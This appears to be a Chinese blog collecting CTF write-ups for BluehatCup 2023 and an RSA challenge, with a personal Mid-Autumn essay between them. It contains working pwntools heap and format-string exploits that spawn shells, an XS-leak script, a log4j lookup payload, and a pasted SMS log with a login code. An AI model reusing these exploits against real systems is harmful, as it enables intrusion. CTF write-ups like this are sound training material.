n = [8564529398597496052509875513481234511905571293608253591774352345237876733293108831203723008958367224489489969614656703455962549261315442327443089652074571708651505447379309166100331065440172781968875497386410667715026180057913363208450111095566219238303387888025161407043477291378931412269049849744457547932264137377411127192940332805452317547219248055802197050456726624516860024108642571703812719370387292166670300197241575461417648592309869669813374010765766544607691011957968652581504886331252936146901456910589102484807039294566703917033093028140452849747910537865958098720693569821256189593894121111357731919189L,12222166297277342805260668042066733749258843622057497574551492680820573970618063356710810891221670366396148862070530068431772630271300064517141331380959413811482890080103511756363920299387620181525172247384085449944650678616398890947062703879307721506228672839270493453501648644787019360131991056158375296484870723717496184332078521221915234959627683952251865227849249752415242124235776428944052873501045127442031423538183282845800971359590735184850648986263721823804859410866927117413289461014754456802566932965710529063515405296476007642849800772934170961993925017146017197762805148533435040675962332469643915192423L,5057224034499776793532654516178914954537547410664409403680432108569079856741764362023185604595829263918927121465578691201904227912897025244771553860102714429349163283510695391193774853323951653123109509215361937850724934183826508070404239791710229214063382081391564954935544392514769166830815475459218792639383796711824752291158895292103354274632470559179266550681095452239666165213986993496109747058314685303485222302144835490056402939133225003233112131275635419321982899965440912525225759368684717157077161771778903529280898069381899400305195745292409238361901176051346615633641550303346790420492393767770845418243L]
c = [20010971557789931948130798983030201950038450269144104532821030667924400788869920238579729514672630221804096063149106742412869966814701225466606392171030411339119559280790040322081104363393453503417465768386174002015870794567148694722215873094298859132439253412531445187990845476275251348800166731481176155530755581153710085966976765505591809596417849783597055650440598035159288091495453205698044687869932756053447012994409598155552263807571713982758132066319612777306466708222135510918174055647735727504029507503430288609410745159037684948343055275573269067165460711584845480188706531450367147105629493736100726092945L,19200052919818196558567528701224082155105852846109782021681848107226495293687021416871117444987923837810238872836818190457667509409714021669160815809413653880491792640346474248859559867743715715552372738909255050196638006472279364316678941257894898953088366861786500472095752890593521428325838148184891778283229870316694059734109045397448347320487605412988229047015174998893589731503114337273121463601984792339337970193596813660178636222764332155999993506914518600565394196792457144962180040786607335687020278442899146954126853580244264273526509238060494624980807993322975135366653181977147866567146492356137019414255L,1394721540127922627584993749596603212491913755865039994631041458882716953251760080638497574652888386411767951258467542002582418260315909190241131591474627765734174146981015346732559115044918706641616288474447294129332475081232268241201488455865700933615291016346552048997127415783072860387265063527874160016186183078384940312292521628077750464413013768765371508493304331719166196330883242895556903378707199640686499970367957552543041110199009425369612644492288765891769004579050802446992426813215932250347386859783813875543314196764160792696291742850356532493945652482643696238487389412404616537620013009141601852080L]

data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print m
eg . 存货6

题目给出n1,n2,n3,c1,c2,c3,e,求明文m的值。

image

# python2
#!/usr/bin/python
#coding:utf-8

import gmpy2
import time
from Crypto.Util.number import long_to_bytes

def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s = gmpy2.gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N
# 读入 e, n, c
e = 9
n = [142782424368849674771976671955176187834932417027468006479038058385550042422280158726561712259205616626939123504489410624745195777853423961104590708231562726165590769610040722589287393102301338152085670464005026301781192671834390892019478189768725018303217559795377795540494239283891894830166363576205812991157L, 153610425077816156109768509904751446801233412970601397035720458311275245730833227428213917577405780162151444202393431444812010569489900435979730559895340377469612234558042643742219128033827948585534761030527275423811282367831985007507137144308704413007806012914286105842311420933479771294576841956749281552971L, 152540067782701001222493009941492423063369171831039847414320547494725020441901272486665728360741395415762864872737675660423920609681185809510355937534756399208661762715484879562585724584849261266873624875852300611683382543315580370484972470694466195837255994159609193239840228218925381488410059939975556977947L, 125842716702134814646356078531900645012495638692517778270527426844383063904041812273637776798591687732598509470005151551320457132061693618473039437320011446697406190781306264437609046721508738109650829547010385875425097336266103994639126319889016342284747700714199556143378526590058467791687837422897022829661L, 116144389285266462769913139639175922392318396923181100785008570884082681963637784423143843845816350379438789947802939701820129805341796427821894273985551331666719808355412080909245720551238149511778060242720419584504473490216670437024863860559347959698828131475160058721701582089480924088773887932997353631767L, 127833907448946785858374094953899556339175475846831397383049660262333005992005484987913355932559627279178940862787593749842796469355336182379062826441222705075178971785791223706944120681105575965622931327112817747065200324610697178273898956820957640413744954233327851461318200323486469677469950386824833536523L, 130561613227079478921314550968562766645507834694262831586725464124109153306162445639759476845681271537955934718244296904503168256991962908095007040044300188572466395275317838178325500238288302672390013747102961340256309124310478931896245221622317302428447389760864327859640573452084295225059466376349115703119L, 115953389401040751013569404909249958538962411171147823610874077094621794755967854844224923689925397631692572916641171075740839099217316101334941033937183815345038898177087515909675028366437302462022970987947264115373697445950951595479758872029099661065186221250394358255523574834723958546450323357472451930993L, 143437107845384843564651522639125300763388830136500260725097766445883003928355325003575359566631064630487365774344508496878731109174874449170057678821440711511966073934025028100604234445470976333825866939923998344367645612128590820812489407412175198698290167077116185959180877334222693344630253253476594907313L]
c = [85033868418784308573673709960700777350314426427677627319697346811123742342359072170220428874952996988431950989321281905284522596263957356289624365171732095210045916218066135140320107686084053271623461104022705353814233772164502775939590711842361956121603943483040254727995655776263673058788416722141673409688L, 66065963470666895005407449599703926269325406456711861190876894466341571726360462706664546294453572319565476664348345756905411939632955966517708138047546806602828064213238537646393524578984547577761559965654539771172357089802682793169968961304179886652390277814477825753096636750388350662980872556701402397564L, 116011740820520887443111656288411611070614127688662643257265381793048354928820176624229624692124188995846076431510548507016903260774215950803926107831505634778278712070141663189086436127990584944132764896694777031370995058271038329228336417590284517922855284619653301817355115583540545182119702335431334401666L, 97640420284096094887471273365295984332267897927392169402918423863919914002451127544715668846623138003564829254309568918651163254043205129883843425179687841236818720463784828905460885026290909768599562386370732119591181513319548915478512030197629196018254041500662654260834562708620760373487652389789200792120L, 8112507653841374573057048967617108909055624101437903775740427861003476480616929517639719198652146909660899632120639789106782550275648578142883715280547602249589837441805676364041484345030575130408744621981440093280624046635769338568542048839419939250444929802135605724150484414516536378791500915047844188300L, 36792148360808115566234645242678223867680969786675055638670907933041180936164293809961667801099516457636164692292891528415720085345494773373966277807505798679784807614784581861287048096977968620964436947452527540958289441390882589051225367658014709290392321808926567572528170531844664734909469690750971883323L, 53043093283305492238903255767698153246673671181809989362223466090875767705978690531154079519999671834688647277179370374802495005937892824566602423646978168777735383632928274082669949750078161820002768640908750005814934158829006019656592134357897586040866207754535586785064545866404380204728594863102313407789L, 88499407133762624445946519155722583633934260410706930537441122463087556094734626189377091740335667052378955691250910459790202385799502439716173363179773811920751410726795431402796346647688144853156900427797933862087074385441977254140336390678022955770879265490567987868532251217565094093318626424653599450992L, 138337520305048557335599940473834485492131424901034295018189264168040969172072024612859307499682986987325414798210700710891033749119834960687318156171051379643844580970963540418974136891389303624057726575516576726845229494107327508855516437230240365759885913142671816868762838801720492804671259709458388192984L]
data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print long_to_bytes(m)

#Tr0y{e=3_1s_danger0us!}

桂花浮玉,正月满天街,夜凉如洗。

桂花浮玉,正月满天街,夜凉如洗。 --[明]文征明 |《念奴娇 · 中秋对月》

自从上了大学,中秋便再也没有回过家了,今年也是不例外。在过去的几年里,中秋佳节往往是被大大小小的比赛和各种培训占满了日程,虽然忙忙碌碌,不过好在我并不是恋家之人,并且在警校里,有太多太多的同龄人在摆烂了,所以想让自己“不因虚度年华而悔恨,不因碌碌无为而羞愧”的心思又加重了一分;今年暑假按照规定实习三个多月的时间,我来到了威海市某区公安局工作,和以前的日子相比这里的工作并不算多,生活也比较安逸,节奏慢下来不少,晚上闲暇之余我也会喜欢出去在街道上走一走。“尘中见月心亦闲,况是清秋仙府间。”带着淡淡的清闲走在弯弯的小路,望着那静静悬挂于苍穹的明月,心中忽的泛起一股难以言喻的愁绪。是啊,八月十五中秋夜,谁不希望能和亲人在一起,谁又会想独自一人走在一条陌生的街上呢?

随着年龄的增长,我们总会渐渐离开父母的怀抱,飞向更远的天空。而在这中秋之夜,相隔异地的人们却难以团聚。望着异乡的明月,虽然美丽,却少了一份家的感觉,少了一份温馨。“露从今夜白,月是故乡明。”纵然游子身在万里之遥的异地,但心却是随着明月回到了故乡,当年杜甫怕也是这般心境吧,亦或许是客居异乡夜不能寐,或许是于中秋之夜思家心切却囿于功业未成,但不管周边是三千繁华,还是茅屋秋风,游子的内心却依旧充斥着孤独,没有亲人陪伴的中秋就如萧瑟的秋风般清冷。

“中秋心,中秋泪,中秋南端舞心悲,月儿美,约儿残,心声挂断相思弦,风飘絮,风入声,逢中之变心变心,话儿悠,话儿转,画断凄凉无笑语,相思弦,相思征,相思一悔难续悔,声儿转,声儿变,胜是曾经心布痕。”

今天是中秋节,是一个团圆的节日,江山万重,皓月千里,在这样一个特殊的节日,我真的希望我们每一个人,不要因为一些神圣的大词而忽视自己的责任,因为很多人都喜欢抽象的概念,但却忘记了,对我们身边人的责任,忘记了我们作为人,最重要的是在自己的哨岗上,带给身边的人以光明。所以是无论在什么情境下,无论多么的沮丧,多么的疲倦,多么的灰心。都请大家要节制,不要放纵这种灰心失望,忘记了对你身边的人,对家人的关爱,对职责的坚持,越是在沮丧的时候,你越是要爱护家人,爱人如己,用自己的微光成为这个世界的守望,来驱散身边的黑暗。月亮本身并不发光,它所反射的只是太阳的光芒,并作为光明恒久的见证。我们热爱光明,因为光指引我们方向。而月亮永远在天上坚立,愿我们都有自己的方向。

最后祝各位师傅们中秋快乐,家庭圆满幸福!

2023 BluehatCup Semi-Finals WriteUp by 圣地亚哥皮蛋

被队友带飞了,本来一直是总榜第一,后来吉林大学的师傅们TQL,最后5min出了PWN侧信道成功反超我们,后面再加上取证我们也只能屈居分区第二(总榜第二)了呜呜呜~不过,好歹算是“有惊无险”进入决赛了,师傅们北京见!

Web

AirticleShare

原题,唯一的改动是把 show.php 改成了 lookup.php,不过题目环境不太好,一直把 sleep 改大 改到 6 才能顺利跑通

import requests
import time

s = requests.Session()

base_url = "http://112.74.185.213:46791/"

res = s.get(base_url)

pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]

ss = "1234567890abcdef"
flag = ""

for i in range(16):
    for j in ss:
        payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\"a[href^='/lookup.php?id={flag + j}']\" autofocus></form>"
        data = {'c': csrftoken, 'content': payload}
        res = s.post(base_url + "add.php", data=data, allow_redirects=False)
        # print(res.headers)
        location = res.headers['Location']
        pos = location.find('id=') + 3
        wp = location[pos:]
        data = {'c': csrftoken, 'id': wp}
        res = s.post(base_url + "admin.php", data=data)
        time.sleep(6)

        res = s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
        # print(res.text)
        txt = res.text.replace("\n", "").replace("\r", "")
        if "Liked by</h3>admin" not in txt:
            flag += j
            print(i,flag)
            break

然后带着这个 id 去访问

参考文章: https://blog.zeddyu.info/2020/01/08/36c3-web/#writeupbin

MyLinuxBot

根据代码和提示可以简单猜测和 log4j 相关的题目,但是这里没有给出 jar 包源码,说这个不关键

上网随手一搜搜出来了原题 GoogleCTF2022-Log4j

这里这道题只是对 python 代码做了简单的混淆,按照 https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/,直接打里面的非预期就能通

${bundle:${env:FLAG}}

pwn

Uaf

直接l用ubin可以leak,然后利用admin中的哪个任意地址写打exit_hook就行了

其实不至于这么麻烦的emmmm,然后发现只用里面的哪个格式化字符串就可以单独完成这个漏洞的利用:

#encoding = utf-8
import os
import sys
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = remote('120.78.209.16',40894)
#p = process('./main')
elf = ELF('./main')
libc = ELF('./libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('>> \n',cho)

def login():
        choice(5)
        sa('Passwd: \n','1234567890')

def pwn():
        login()
        #debug()
        sla("Tell me ur name: \n",'%19$p')
        ru('0x')
        libcbase = int(r(12),16) - 0x7fc55edc1083 + 0x7fc55ed9d000
        leak('libcbase',libcbase)
        exithook = libcbase + 0x222060 + 3848
        og = libcbase + 0xe6c7e
        sla('>> \n','2')
        p.sendafter('WRITE MODE: \n',p64(exithook))
        sleep(1)
        p.send(p64(og))
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Admin

出题人万岁,退役之前还能拿个一血开心

非预期,就是过滤了flag但是没过滤f*就出了

cat f*

Crypto

ezrsa

等式前边通分、分子等分子、分母等分母

解方程

from Crypto.Util.number import *
from gmpy2 import *
import sympy
n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999
X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

p = sympy.Symbol('p')
q = sympy.Symbol('q')
f1 = p - q + 1 - (-X - 2 * Y)
f2 = p * q - n
result = sympy.solve([f1,f2],[p,q])
print(result)
p = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
q = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Re

justamat

一开始给v0赋值 there_are_a_lot_useless_information_but_oh.o0O_

然后是输出和读入的过程

这里v14就是输入的长度,根据长度选择流程,这里应该是大于15的

这里进行字符串拼接,动调发现就是str1+input+str2

然后用do...while写了一个遍历,把str1+input+str2​存入v5,也就是后面的v16

然后进这个函数中

双字节提取出来

这个do..while循环就是主要逻辑

这里直接 用z3求解

from z3 import*
s=Solver()
flag = [Int("flag%d" % i) for i in range(100)]
a = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74, 0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17, 0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]
b = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD, 0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD, 0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE, 0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063, 0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3, 0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD, 0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018, 0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC, 0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A, 0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]

print(len(a))
for j in range(10):
    for k in range(10):
        i = k
        v8 = 0
        for m in range(10):
            v9 = flag[j*10+m] * b[i+m*10]
            #i += 10
            v8 += v9
        s.add(v8==a[k+j*10])

if s.check() == sat:
    m = s.model()
    for f in flag:
        print(chr(m[f].as_long()),end='')

Misc

签到

排队队吃果果

每一列excel按照数值升序排序,然后粗的是1,可以用Excel条件格式批量实现:

重新设置一下宽高就好了:

flag{35b6f3ed-9d28-93b8-e124-39f8ec3376b2}

取证

1、

看字面意思应该是任务开始的时候

2、

3、

4、

手机取证软件直接就有

5、

取证软件里面就有

6、

​​c727420a290df2250001612e4d5c1b0​​

7、

火眼出

8、

​​6ada8fd70d0b2788fea737d8e2dcb27​​

9、

同上题图

10、

11、

12、

在sd卡里面找到找到calllog.txt用base64解密,就看到了通话记录

发现有两次

13、

两次,一次AES,一次base64

14、

找到了一个getkey的函数

里面对字符串lijubdyhfurindhcbxdw

根据函数特征猜测应该是base64加密后取前16位

bGlqdWJkeWhmdXJp

找到sms.txt解密发现有效

package script;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import javax.crypto.Cipher;

public class aes_dec {
    public static void decrypt() {
        try {
            String key= "bGlqdWJkeWhmdXJp";
            String enc = "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";
            byte[] enc_b64decode = Base64.getDecoder().decode(enc);
            SecretKeySpec key_init = new SecretKeySpec(key.getBytes("utf-8"), "AES");
            Cipher decode = Cipher.getInstance("AES/ECB/NoPadding");
            decode.init(Cipher.DECRYPT_MODE,key_init);
            byte[] enc_aesdecode = decode.doFinal(enc_b64decode);
            String flag = new String(enc_aesdecode, "utf-8");
            System.out.println(flag);
        }
        catch(Exception v5_1) {
            v5_1.printStackTrace();
        }
    }
}

15、

【探探应用】碧波,有人追你!她20岁,离你553米,建议匹配后和她聊聊成都的话题。l.tantanapp.com/app 回T退订, Date: Tue Aug 17 17:51:02 GMT+08:00 2021
Address: 106931164284, Body: 【百合网】有人多次给你留言没有得到你的回复呢,点击查看 http://j.qiuai.com/21VCHMdSTAS; 回T退订, Date: Tue Aug 17 17:31:23 GMT+08:00 2021
Address: 10658678, Body: 四川手机报:你和妻子/丈夫最难沟通的事是什么?“3.8国际妇女节”到来之际,四川手机报发起话题征集:作为妻子,日常生活中哪种情形让你觉得和丈夫很难沟通?作为丈夫,妻子的哪些话让你不明所以?跟帖留言 mala.cn/t/16104287?s=fOJt81F, Date: Mon Mar 01 09:50:52 GMT+08:00 2021
Address: 106948500153, Body: 【借呗】你支付宝120***@qq.com借呗今天将从余额、储蓄卡或余额宝自动还款1021.68元。如已还款,请忽略, Date: Mon Mar 01 09:26:44 GMT+08:00 2021
Address: 10086, Body: 【缴费提醒】尊敬的客户,您好!您于2021年03月01日09时10分,使用统一支付充值服务为本机充值100.00元,当前余额为124.21元。为避免影响您上网功能的正常使用,请进行关开机或关开飞行模式操作,谢谢。如需查看更多业务使用情况,请登录【四川移动掌上营业厅】,点击下载体验http://dx.10086.cn/schfcd 。百分努力,只为您10分满意!【中国移动】, Date: Mon Mar 01 09:09:49 GMT+08:00 2021
Address: 106980095188, Body: 【支付宝】你正在登录支付宝,验证码9250,泄露验证码会影响资金安全。唯一热线:95188, Date: Mon Mar 01 09:08:43 GMT+08:00 2021

2023 BluehatCup CTF partly WriteUp by 圣地亚哥皮蛋 | QUALS

这次CTF部分打的可以,抢了一个Misc二血。但是取证拉了。。。呜呜呜,要好好学取证了捏

PWN

takeway

就可以随意地址申请堆块,先改最大堆块数,然后在elf地址上泄露一个stdout,之后就打free_hook就行了,版本是2.31_9.9

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

add_idx = 1
delete_idx = 2
edit_idx = 3
context.arch = 'amd64'
p = remote('101.200.234.115',46498)
#p = process('./takeway')
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('Please input your choose: ',cho)

def add(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        sla('Please input your food name: ',name)
        sla('a remark: ',content)

def delete(idx):
        choice(delete_idx)
        sla('Please input your order index: ',idx)

def edit(idx,content):
        choice(edit_idx)
        sla('Please input index: ',idx)
        p.sendlineafter('New food name is: ',content)

def add1(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        p.sendlineafter('Please input your food name: ',name)
        p.sendlineafter('a remark: ',content)

def pwn():
        add(0,'banana','xj')
        add(1,'banana','xj')
        delete(0)
        delete(1)
        edit(1,p64(0x0404080))
        add(2,'banana','xj')
        add(3,'bananaa','fffffff')
        choice(edit_idx)
        sla('Please input index: ',3)
        ru('fff\n')
        out = uu64(r(6))
        leak('stdout',out)
        p.sendlineafter('New food name is: ','cat')
        libcbase = out-(0x7f881942f6a0 - 0x7f8819242000)
        leak('libcbase',libcbase)
        delete(0)
        delete(1)
        edit(1,p64(libcbase + libc.sym['__free_hook']))
        add(4,'cat','cat')
        choice(add_idx)
        sla('Please input your order index\n',7)
        p.sendafter('Please input your food name: ',p64(libcbase+libc.sym['system']))
        p.sendlineafter('a remark: ','aa')
        leak('free',libcbase + libc.sym['__free_hook'])
        edit(1,'/bin/sh')
        #debug()
        delete(1)
        #debug()
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

WEB

Lovephp

第一个 tricks https://bugs.php.net/bug.php?id=81151

第二个 tricks 是这里的这个参数怎么传入,在 ctfshow 中也有过相应题目,看到 main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

为了某些特殊的需要,我们发现 PHP 会将 空格、. 转化为下划线,但是如果这里有 [ 的话会直接 break 掉,然后在 is_array==1 的时候会调用如下内容

main/php_variables.c#L191-L195

if (!ip) {
